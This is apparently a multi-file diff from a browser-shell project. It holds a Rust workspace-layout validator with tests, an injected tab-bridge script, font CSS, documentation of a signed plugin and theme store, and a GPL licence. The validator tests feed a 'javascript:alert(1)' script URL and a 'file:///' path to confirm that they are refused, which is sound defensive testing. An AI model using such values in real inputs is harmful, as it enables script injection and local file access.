fn default() -> Self {
Self { version: version(), default: None, items: Vec::new() }
}
}
fn slug(id: &str, max: usize) -> bool {
!id.is_empty() && id.len() <= max && id.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
}
fn tab_id(id: &str) -> bool {
!id.is_empty() && id.len() <= 64 && id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-' || b == b'_')
}
fn http_url(value: &str) -> bool {
value.len() <= 4096 && url::Url::parse(value).is_ok_and(|url| matches!(url.scheme(), "http" | "https"))
}
fn validate_panel(id: &str, panel: &Value) -> Result<(), String> {
let panel = panel.as_object().ok_or("VALIDATION: a workspace tab must be an object")?;
if !tab_id(id) || panel.get("id").and_then(Value::as_str) != Some(id) {
return Err("VALIDATION: invalid workspace tab id".into());
}
let params = panel.get("params").and_then(Value::as_object).ok_or("VALIDATION: a workspace tab needs params")?;
let kind = params.get("kind").and_then(Value::as_str).unwrap_or("");
if !KINDS.contains(&kind) {
return Err("VALIDATION: unknown workspace tab kind".into());
}
for (key, value) in params {
match (key.as_str(), value) {
("kind", _) => {}
("url", Value::String(url)) if http_url(url) => {}
("pinned", Value::Bool(_)) => {}
("title", Value::String(title)) if title.chars().count() <= 300 => {}
("profile" | "section" | "deckId", Value::String(text)) if text.len() <= 64 => {}
_ => return Err(format!("VALIDATION: workspace tab field \"{}\" is not allowed", key.chars().take(32).collect::<String>())),
}
}
if kind == "web" && !params.contains_key("url") {
return Err("VALIDATION: a web tab needs a URL".into());
}
Ok(())
}
fn validate_item(item: &Value) -> Result<String, String> {
let object = item.as_object().ok_or("VALIDATION: a workspace must be an object")?;
let id = object.get("id").and_then(Value::as_str).ok_or("VALIDATION: a workspace needs an id")?;
if !slug(id, 40) {
return Err("VALIDATION: workspace ids are lowercase slugs".into());
}
let name = object.get("name").and_then(Value::as_str).unwrap_or("");
if name.trim().is_empty() || name.chars().count() > MAX_NAME || name.chars().any(char::is_control) {
return Err("VALIDATION: workspace names are 1-60 characters".into());
}
for key in object.keys() {
if !["id", "name", "savedAt", "layout", "paneThemes", "decks"].contains(&key.as_str()) {
return Err("VALIDATION: unknown workspace field".into());
}
}
let layout = object.get("layout").and_then(Value::as_object).ok_or("VALIDATION: a workspace needs a layout")?;
if !layout.get("grid").is_some_and(Value::is_object) {
return Err("VALIDATION: a workspace layout needs a grid".into());
}
let panels = layout.get("panels").and_then(Value::as_object).ok_or("VALIDATION: a workspace layout needs panels")?;
if panels.is_empty() || panels.len() > MAX_TABS {
return Err(format!("VALIDATION: a workspace holds 1-{MAX_TABS} tabs"));
}
for (id, panel) in panels {
validate_panel(id, panel)?;
}
let themes = object.get("paneThemes").cloned().unwrap_or(Value::Object(Map::new()));
let themes = themes.as_object().ok_or("VALIDATION: pane themes must be an object")?;
for (tab, theme) in themes {
if !panels.contains_key(tab) || !theme.as_str().is_some_and(|theme| slug(theme, 40)) {
return Err("VALIDATION: invalid pane theme in workspace".into());
}
}
if object.get("decks").is_some_and(|decks| !decks.is_array()) {
return Err("VALIDATION: workspace decks must be a list".into());
}
if serde_json::to_vec(item).map(|bytes| bytes.len()).unwrap_or(usize::MAX) > MAX_WORKSPACE_BYTES {
return Err("VALIDATION: workspace is too large".into());
}
Ok(id.to_owned())
}
impl WorkspaceStore {
pub fn validated(self) -> Result<Self, String> {
if self.version != 1 {
return Err("VALIDATION: unknown workspaces version".into());
}
if self.items.len() > MAX_WORKSPACES {
return Err(format!("VALIDATION: at most {MAX_WORKSPACES} workspaces"));
}
let mut ids: Vec<String> = Vec::new();
for item in &self.items {
let id = validate_item(item)?;
if ids.contains(&id) {
return Err("VALIDATION: workspace ids must be unique".into());
}
ids.push(id);
}
if let Some(default) = &self.default {
if !ids.contains(default) {
return Err("VALIDATION: the default workspace does not exist".into());
}
}
Ok(self)
}
}
#[cfg(test)]
mod tests {
use super::*;
use serde_json::json;
fn workspace(id: &str) -> Value {
json!({
"id": id, "name": "Launch day", "savedAt": "2026-09-29T10:00:00.000Z",
"layout": {
"grid": { "root": { "type": "branch", "data": [{ "type": "leaf", "data": { "views": ["t1", "deck-d1"], "activeView": "t1", "id": "1" } }] } },
"panels": {
"t1": { "id": "t1", "contentComponent": "web", "params": { "kind": "web", "url": "https://x.com/home", "profile": "work" } },
"deck-d1": { "id": "deck-d1", "contentComponent": "deck", "params": { "kind": "deck", "deckId": "d1" } }
}
},
"paneThemes": { "t1": "nord" },
"decks": [{ "id": "d1", "name": "Deck", "columns": [] }]
})
}
#[test]
fn the_empty_store_round_trips() {
// What workspaces_get returns before the first save must be accepted by workspaces_set.
let empty = WorkspaceStore::default();
assert_eq!(empty.clone().validated().unwrap(), empty);
let parsed: WorkspaceStore = serde_json::from_value(serde_json::to_value(&empty).unwrap()).unwrap();
assert!(parsed.validated().is_ok());
}
#[test]
fn accepts_bounded_layouts_and_a_default_that_exists() {
let store = WorkspaceStore { version: 1, default: Some("launch".into()), items: vec![workspace("launch"), workspace("night")] };
assert!(store.clone().validated().is_ok());
let missing = WorkspaceStore { default: Some("gone".into()), ..store.clone() };
assert!(missing.validated().is_err());
let twice = WorkspaceStore { default: None, items: vec![workspace("a"), workspace("a")], ..store };
assert!(twice.validated().is_err());
}
#[test]
fn rejects_code_urls_unknown_fields_and_oversized_input() {
let with = |path: &[&str], value: Value| {
let mut item = workspace("a");
let mut target = &mut item;
for key in &path[..path.len() - 1] {
target = target.get_mut(*key).unwrap();
}
target[path[path.len() - 1]] = value;
WorkspaceStore { version: 1, default: None, items: vec![item] }.validated()
};
assert!(with(&["layout", "panels", "t1", "params", "url"], json!("javascript:alert(1)")).is_err());
assert!(with(&["layout", "panels", "t1", "params", "url"], json!("file:///C:/secret")).is_err());
assert!(with(&["layout", "panels", "t1", "params", "cookie"], json!("sid=1")).is_err());
assert!(with(&["layout", "panels", "t1", "params", "kind"], json!("script")).is_err());
assert!(with(&["layout", "panels", "t1", "id"], json!("other")).is_err());
assert!(with(&["paneThemes", "t1"], json!("Not A Slug")).is_err());
assert!(with(&["paneThemes"], json!({ "t9": "nord" })).is_err(), "theme for a tab that is not in the layout");
assert!(with(&["name"], json!("")).is_err());
assert!(with(&["name"], json!("x".repeat(61))).is_err());
assert!(with(&["extra"], json!(1)).is_err());
assert!(with(&["decks"], json!([{ "notes": "y".repeat(MAX_WORKSPACE_BYTES) }])).is_err());
let many = WorkspaceStore { version: 1, default: None, items: (0..=MAX_WORKSPACES).map(|n| workspace(&format!("w{n}"))).collect() };
assert!(many.validated().is_err());
let mut tabs = workspace("a");
let panels = tabs["layout"]["panels"].as_object_mut().unwrap();
for n in 0..MAX_TABS {
let id = format!("x{n}");
panels.insert(id.clone(), json!({ "id": id, "params": { "kind": "start" } }));
}
assert!(WorkspaceStore { version: 1, default: None, items: vec![tabs] }.validated().is_err());
}
}

View file

@ -0,0 +1,135 @@
// wayBetter tab bridge (waybetter-host `bridge.rs` serves this file). Injected into every browser
// tab (top frame only). Tells the shell about SPA URL changes, the favicon and focus and, when the
// app enables them, forwards browser shortcuts pressed while the page has focus and link drags.
// It can only call `tab_report` / `tab_shortcut` / `tab_link_drag`, which affect this tab's own
// address bar, forward a shortcut, or tell the shell a link drag started/entered/ended here.
(() => {
if (window.top !== window || window.__wbTabBridge) return;
window.__wbTabBridge = true;
const options = { shortcuts: true, linkDrags: true }; // waybetter-host: bridge::script() options
const invoke = (cmd, args) => {
const ipc = window.__TAURI_INTERNALS__;
if (ipc && typeof ipc.invoke === 'function') ipc.invoke(cmd, args).catch(() => {});
};
let lastUrl = '';
let lastTitle = '';
let lastIcon = '';
const favicon = () => {
const link = document.querySelector('link[rel~="icon"][href], link[rel="shortcut icon"][href]');
try { return link ? new URL(link.getAttribute('href'), location.href).href : `${location.origin}/favicon.ico`; } catch { return ''; }
};
const report = (extra) => {
const url = location.href;
const title = document.title || '';
const icon = favicon();
if (!extra && url === lastUrl && title === lastTitle && icon === lastIcon) return;
lastUrl = url; lastTitle = title; lastIcon = icon;
invoke('tab_report', { report: { url, title, favicon: icon, ...extra } });
};
let queued = false;
const schedule = () => { if (!queued) { queued = true; setTimeout(() => { queued = false; report(); }, 50); } };
for (const method of ['pushState', 'replaceState']) {
const original = history[method];
history[method] = function (...args) {
const result = original.apply(this, args);
schedule();
return result;
};
}
addEventListener('popstate', schedule);
addEventListener('hashchange', schedule);
addEventListener('focus', () => report({ focused: true }));
addEventListener('pointerdown', () => report({ focused: true }), true);
const watchHead = () => {
if (!document.head) return;
new MutationObserver(schedule).observe(document.head, { childList: true, subtree: true, attributes: true, attributeFilter: ['href'] });
schedule();
};
if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', watchHead, { once: true });
else watchHead();
// Power User Mode: a deck column (the X runtime marks <html data-wb-column>) forwards the deck
// keys; bare keys only while nothing editable has focus.
const typing = () => {
const el = document.activeElement;
return !!el && (el.isContentEditable || /^(input|textarea|select)$/i.test(el.tagName));
};
const deckKey = (event) => {
const mod = event.ctrlKey || event.metaKey;
if (mod && event.shiftKey && !event.altKey && event.code === 'KeyD') return 'deck-toggle';
if (!document.documentElement || !document.documentElement.hasAttribute('data-wb-column')) return null;
if (event.ctrlKey && event.altKey && !event.metaKey && !event.shiftKey && event.code === 'KeyN' && !typing()) return 'deck-compose';
if (event.altKey && !mod && !event.shiftKey) {
const digit = /^Digit([1-9])$/.exec(event.code);
if (digit) return `column-${digit[1]}`;
if (event.key === 'PageUp') return 'column-page-prev';
if (event.key === 'PageDown') return 'column-page-next';
}
if (!mod && !event.altKey && !typing()) {
if (event.key === '[') return 'column-prev';
if (event.key === ']') return 'column-next';
}
return null;
};
const shortcut = (event) => {
const deck = deckKey(event);
if (deck) return deck;
const mod = event.ctrlKey || event.metaKey;
const key = event.key.toLowerCase();
if (mod && !event.altKey) {
if (key === 't' && event.shiftKey) return 'reopen-tab';
if (key === 't') return 'new-tab';
if (key === 'w' && event.shiftKey) return 'open-panel';
if (key === 'w') return 'close-tab';
if (key === 'l') return 'focus-address';
if (key === 'k' && !event.shiftKey) return 'command-palette';
if (key === 'tab') return event.shiftKey ? 'prev-tab' : 'next-tab';
if (key === 'r') return event.shiftKey ? 'hard-reload' : 'reload';
// Physical key: layouts like Turkish-Q produce other characters on this key.
if (event.code === 'Backslash' || event.code === 'IntlBackslash') return event.shiftKey ? 'split-down' : 'split-right';
}
if (key === 'f5') return 'reload';
if (event.altKey && !mod && key === 'arrowleft') return 'back';
if (event.altKey && !mod && key === 'arrowright') return 'forward';
return null;
};
// Link drags: the shell hides the tab webviews and shows its split/tab drop zones, so a link
// dragged out of this page (or into it from another app) can be dropped as a new pane.
if (options.linkDrags) {
let localDrag = false;
let lastEnter = 0;
const linkTypes = (types) => {
const list = Array.from(types || []);
return !list.includes('Files') && (list.includes('text/uri-list') || list.includes('text/x-moz-url'));
};
addEventListener('dragstart', (event) => {
localDrag = true;
// Links, and images inside links (sites like X wrap photos in `/status/.../photo/N` anchors).
const target = event.target;
const anchor = target && target.closest ? target.closest('a[href]') : null;
const url = anchor ? String(anchor.href) : '';
if (/^https?:\/\//i.test(url) && url.length <= 4096) invoke('tab_link_drag', { phase: 'start', url });
}, true);
addEventListener('dragend', () => {
localDrag = false;
invoke('tab_link_drag', { phase: 'end' });
}, true);
addEventListener('dragenter', (event) => {
if (localDrag || !event.dataTransfer || !linkTypes(event.dataTransfer.types)) return;
const now = Date.now();
if (now - lastEnter < 500) return;
lastEnter = now;
invoke('tab_link_drag', { phase: 'enter' });
}, true);
}
if (options.shortcuts) addEventListener('keydown', (event) => {
const action = shortcut(event);
if (!action) return;
event.preventDefault();
event.stopImmediatePropagation();
invoke('tab_shortcut', { shortcut: action });
}, true);
})();

View file

@ -0,0 +1,63 @@
/* cyrillic-ext */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2) format('woff2');
unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2) format('woff2');
unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2) format('woff2');
unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1pL7SUc.woff2) format('woff2');
unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;
}
/* vietnamese */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2pL7SUc.woff2) format('woff2');
unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa25L7SUc.woff2) format('woff2');
unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Inter';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https://fonts.gstatic.com/s/inter/v20/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}

View file

@ -0,0 +1,14 @@
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 400;
src: url(https://fonts.gstatic.com/l/font?kit=S6uyw4BMUTPHvxwiUS_jT0aNgbBanoA&skey=2d58b92a99e1c086&v=v25) format('woff2');
unicode-range: U+20, U+4c, U+53, U+61, U+65, U+6c-6d, U+6f-70, U+74;
}
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 700;
src: url(https://fonts.gstatic.com/l/font?kit=S6u9w4BMUTPHh6UVewqdFgekvrxQgpk3pro&skey=3480a19627739c0d&v=v25) format('woff2');
unicode-range: U+20, U+4c, U+53, U+61, U+65, U+6c-6d, U+6f-70, U+74;
}

View file

@ -0,0 +1,36 @@
/* latin-ext */
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 400;
font-display: swap;
src: url(https://fonts.gstatic.com/s/lato/v25/S6uyw4BMUTPHjxAwXjeu.woff2) format('woff2');
unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 400;
font-display: swap;
src: url(https://fonts.gstatic.com/s/lato/v25/S6uyw4BMUTPHjx4wXg.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* latin-ext */
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 700;
font-display: swap;
src: url(https://fonts.gstatic.com/s/lato/v25/S6u9w4BMUTPHh6UVSwaPGR_p.woff2) format('woff2');
unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 700;
font-display: swap;
src: url(https://fonts.gstatic.com/s/lato/v25/S6u9w4BMUTPHh6UVSwiPGQ.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}

149
docs/STORE.md Normal file
View file

@ -0,0 +1,149 @@
# The wayBetter Store, install links and the install screen
Every wayBetter app can install themes and plugins from a dropped file, a `waybetter://install`
link or the signed wayBetter Store, always through its install screen. The framework has all of it:
the rules and the state (waybetter-host `store`), the UI (`waybetter/shell/InstallDialog`,
`waybetter/shell/StoreView`), the strings in every language (`wb.store.*`, `wb.install.*`,
`wb.permission.*` in the framework catalogs) and the tooling (`waybetter store build|sign|verify`).
An app adds its settings, its Tauri command wrappers, its theme format and its look.
## One catalog, many apps
The store is one folder, `https://waybetter.fyi/store/`, with one signed catalog shared by every
app (`catalog.json` + `catalog.json.sig`). Each item names the apps it is for; an app verifies the
whole file, then keeps only its own items: it never shows, stages or installs another app's item,
even one listed in the same signed file.
```json
{ "format": 2, "name": "wayBetter Store", "generatedAt": "2026-09-29T04:18:08Z", "items": [
{ "apps": ["x"], "kind": "plugin", "id": "thread-reader", "name": "Thread Reader", "author": "wayBetter",
"version": "1.1.2", "description": "…", "category": "reading", "tags": ["threads"],
"url": "https://waybetter.fyi/store/plugins/bt-thread-reader.plugin.js", "file": "bt-thread-reader.plugin.js",
"sha256": "<64 lowercase hex>", "size": 12345, "preview": "https://waybetter.fyi/store/previews/plugin-thread-reader.svg",
"permissions": ["ui", "clipboard", "commands", "network:none"] },
{ "apps": ["x"], "kind": "theme", "id": "nord", "name": "Nord", "author": "", "version": "1.0.0",
"description": "…", "category": "dark", "tags": ["dark"], "url": "https://waybetter.fyi/store/themes/nord.json",
"sha256": "…", "size": 1700, "preview": "…", "colors": { "bg": "#232831", "surface": "#2e3440", "text": "#eceff4", "accent": "#88c0d0" } }
] }
```
JSON Schema: `waybetter/store-catalog.schema.json` (npm package). The rules apps enforce
(waybetter-host `store::catalog`, mirrored by the CLI):
| Field | Rule |
| --- | --- |
| `format` | `2`. An app that reads another format says "update the app". Format 1 (before `apps`) is gone. |
| `apps` | 1–16 distinct app ids (`[a-z0-9-]{1,32}`), e.g. `"x"`; an item for several apps lists each. |
| `kind`, `id` | `theme` or `plugin`; `[a-z0-9-]{1,40}`, unique per app and kind. |
| `name`, `author`, `version`, `description`, `category`, `tags` | plain text (no control characters), ≤ 60 / 60 / 32 / 600 / 32 characters, ≤ 12 tags of ≤ 32. Known categories show in the reader's language (`wb.store.category.*`). |
| `url`, `preview` | https; for the reading app's own items, on its download hosts (below). |
| `file` | plugins only: `name.plugin.js` (letters, digits, `-_. `), unique per app ignoring case. |
| `sha256`, `size` | of the exact file; size 1 byte … 2 MiB. |
| `permissions` | plugins only: the header's `@permissions` (`null` = no line, legacy). |
| `colors` | themes only: `#rrggbb` swatches for the card. |
Also refused: unknown fields anywhere, more than 500 items, a catalog over 1 MiB, a signature file
over 512 bytes. A malformed item for another app refuses the whole catalog (one file, one set of
rules); another app's download hosts are not held to this app's list.
## Signing and keys
The signature is Ed25519 over the exact catalog bytes (`verify_strict`), base64 of 64 bytes in
`catalog.json.sig`. Apps compile in the public keys (base64 of the raw 32 bytes) and accept a
catalog signed by any of them, so a key rotates in three steps: ship an app version that lists the
new key next to the old one, re-sign the catalog with the new key, drop the old key in a later
version. The private key is a PKCS#8 PEM that never leaves the machine it was made on; the CLI never
prints, copies or moves it.
## Tooling: `waybetter store`
```sh
waybetter store build --config store.config.mjs [--out public/store] [--base https://waybetter.fyi/store/]
waybetter store sign --init --key ~/.keys/store.key --pub keys/store.pub # once; never overwrites
waybetter store sign public/store/catalog.json --key ~/.keys/store.key --pub keys/store.pub
waybetter store verify public/store/catalog.json --pub keys/store.pub [--pub next.pub] [--app x]
```
`build` takes an app's config module:
```js
export default {
app: 'x',
async items() {
return [{ kind: 'plugin', id: 'focus', name: 'Focus', version: '1.0.0', category: 'focus', tags: [],
file: 'focus.plugin.js', permissions: ['ui', 'network:none'], path: 'plugins/focus.plugin.js', bytes: source,
preview: { path: 'previews/plugin-focus.svg', bytes: svg } }];
},
};
```
It replaces only that app's items (other apps' items and files stay), writes the files, fills
`apps`, `url`, `sha256` and `size`, removes files only the app's previous items used, and checks the
whole catalog with the apps' rules before writing anything. `pluginHeader(source)` (from
`waybetter/cli/store`) reads a plugin header for the config. `--key` defaults to
`$WAYBETTER_STORE_KEY`. Then deploy the folder as it is.
## Install links
`waybetter://install?kind=theme|plugin&url=<percent-encoded https URL>` (the scheme is the app's
`StoreConfig::scheme`): https only, a host on the app's list (`DEFAULT_HOSTS`: `waybetter.fyi`,
`cdn1.crt.fyi`, and `git.crt.fyi` only for raw files `/<owner>/<repo>/raw/…`), default port, no
credentials or fragment, at most 2048 characters, no other or repeated parameters. A plugin URL must
end in `name.plugin.js`, the name it is saved under. A link only proposes an install: it is queued
for the shell (`install-link` event, `install_pending` for links that arrived before the shell
listened) and nothing is downloaded until the shell asks.
## Trust model
- Only the app's local shell webview may call the install commands; site tabs and web pages never
can. The framework has no commands of its own: the app's wrappers call `shell_only` first.
- Native code downloads (no redirects, no cookies, size caps), hashes and validates, and stages
the exact bytes under a random token; the screen shows those bytes; `Store::commit` writes exactly
them after validating them again, and refuses a commit less than 0.6 s after staging. The screen
keeps Install disabled for 1 s; Enter never confirms.
- Store items: catalog signature first, then the download's size and sha256. A link to a store file
that matches the catalog still shows as a link.
- Plugins: `plugins::validate_plugin` (file name, ≤ 2 MiB, UTF-8 text without binary bytes, header
with `@name` + `@version`, valid `@permissions`, `network:none` refused when the code calls
network APIs), then `PluginStore::install` (atomic rename, never enabled on its own; an update keeps
the enabled state). Themes: a JSON object with a `name` (≤ 2 MiB), then the app's own theme
sanitizer, as for any import.
- Permissions are a declaration and a guard rail, not a sandbox.
## Adding the Store to an app
Native (`waybetter-host` with the `net` feature):
```rust
pub static STORE: StoreConfig = StoreConfig {
app_id: "kick", product: "wayBetter for Kick", user_agent: concat!("wayBetter-for-Kick/", env!("CARGO_PKG_VERSION")),
scheme: "waybetter", store_base: DEFAULT_STORE_BASE, public_keys: &[include_str!("../keys/store.pub")],
allowed_hosts: DEFAULT_HOSTS,
};
// setup: app.manage(Store::new(&STORE, &plugins::HOST, app_data_dir));
// deep links: emit_shell(app, EVENT_LINK, store.receive_link(url)).
```
Commands, each starting with `shell_only(&webview)?` and listed only in the shell's capability:
`install_pending` → `take_pending`, `install_stage_link {kind,url}` → `stage_link`,
`install_stage_file {name,text}` → `stage_file`, `install_cancel {token}` → `cancel`,
`install_commit {token,enable,themeId}` → `commit(…, run)` where `run` evaluates a plugin
start/stop script in the site's tabs, `plugin_remove {file}` → `remove_plugin`, `install_records`
→ `records`, `install_forget {kind,name}` → `forget`, `store_catalog {refresh}` → `catalog`,
`store_stage {item:{kind,id}}` → `stage_item`.
Shell (React):
```tsx
const controller = createInstallController({ backend: { invoke, listen }, t, site: 'Kick', theme: themeAdapter });
<InstallHost controller={controller} t={t} site="Kick" setOverlay={setOverlay} openSection={openSettings}
renderThemePreview={theme => <Preview theme={theme}/>}/>
<StoreView t={t} site="Kick" controller={controller} load={refresh => invoke('store_catalog', { refresh })}
builtinThemes={…} userThemes={…} onRemove={…} onUse={…} notify={…} relativeTime={…}/>
```
`t` is the app's translator with the framework catalogs merged in (their English is
`STORE_MESSAGES`); `{site}` fills in the site's name. Import `waybetter/shell/store.css` and map the
`--wb-*` tokens listed at its top to the app's theme on `.wbs, .wbi-backdrop, .wbi-drop`. Pass your
own `controls` (Button, SearchField, Segmented, EmptyState, Badge) and `classNames` to match the
app's settings UI; the defaults work on their own.

View file

@ -10,18 +10,24 @@
"packages/*"
],
"scripts": {
"typecheck": "tsc -p tsconfig.json",
"test": "bun run test:ts && bun run test:rust",
"typecheck": "tsc -p tsconfig.json && tsc -p packages/create-waybetter/tsconfig.json",
"test": "bun run test:ts && bun run test:rust && bun run test:create && bun run test:cli",
"test:ts": "node --test packages/runtime/tests/*.test.ts packages/shell/tests/*.test.ts",
"test:rust": "cargo test --manifest-path crates/waybetter-host/Cargo.toml --locked",
"check:tauri": "cargo check --manifest-path crates/waybetter-host/Cargo.toml --features tauri",
"test:create": "node --test packages/create-waybetter/tests/*.test.mjs",
"test:cli": "node --test packages/waybetter/tests/*.test.mjs",
"test:rust": "cargo test --manifest-path crates/waybetter-host/Cargo.toml --locked --features net",
"check:tauri": "cargo check --manifest-path crates/waybetter-host/Cargo.toml --features app,net",
"build": "bun run typecheck && cargo build --manifest-path crates/waybetter-host/Cargo.toml --locked",
"build:packages": "cd packages/waybetter && npm run build",
"pack:check": "bun run build:packages && npm pack ./packages/waybetter --dry-run",
"check": "bun run typecheck && bun run test"
"pack:check": "bun run build:packages && npm pack ./packages/waybetter --dry-run && npm pack ./packages/create-waybetter --dry-run",
"check": "bun run typecheck && bun run build:packages && bun run test"
},
"devDependencies": {
"@types/node": "^24.0.0",
"@types/react": "^19.0.0",
"@types/react-dom": "^19.0.0",
"acorn": "^8.15.0",
"dockview": "^4",
"typescript": "^5.9.0"
},
"engines": {

View file

@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
